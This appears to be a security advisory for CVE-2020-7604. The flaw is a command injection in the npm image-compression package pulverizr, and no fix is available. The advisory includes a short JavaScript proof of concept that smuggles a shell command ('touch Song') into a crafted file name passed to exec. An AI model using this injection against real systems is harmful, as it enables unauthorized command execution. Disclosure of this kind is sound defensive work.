Command Injection

Affecting pulverizr package, ALL versions

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

pulverizr is a to smash your images down to size.

Affected versions of this package are vulnerable to Command Injection. Within lib/job.js, the variable filename can be controlled by the attacker. This function uses the variable filename to construct the argument of the exec call without any sanitization.

In order to successfully exploit this vulnerability, an attacker will need to create a new file with the same name as the attack command.

PoC

var root = require("pulverizr");
var fs = require("fs");
var attack_code = "touch Song";

var injection_code = "\"&" + attack_code + "&\"a.jpg"
var inputs = [injection_code]
fs.writeFile(injection_code, "123", function(){});

var job = root.createJob(inputs, {});
job.run();

Remediation

There is no fixed version for pulverizr.

References

CVSS Score

6.5
medium severity
  • Attack Vector
    Network
  • Attack Complexity
    High
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    Low
  • Availability
    None
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
Credit
JHU System Security Lab
CVE
CVE-2020-7604
CWE
CWE-78
Snyk ID
SNYK-JS-PULVERIZR-560122
Disclosed
13 Mar, 2020
Published
13 Mar, 2020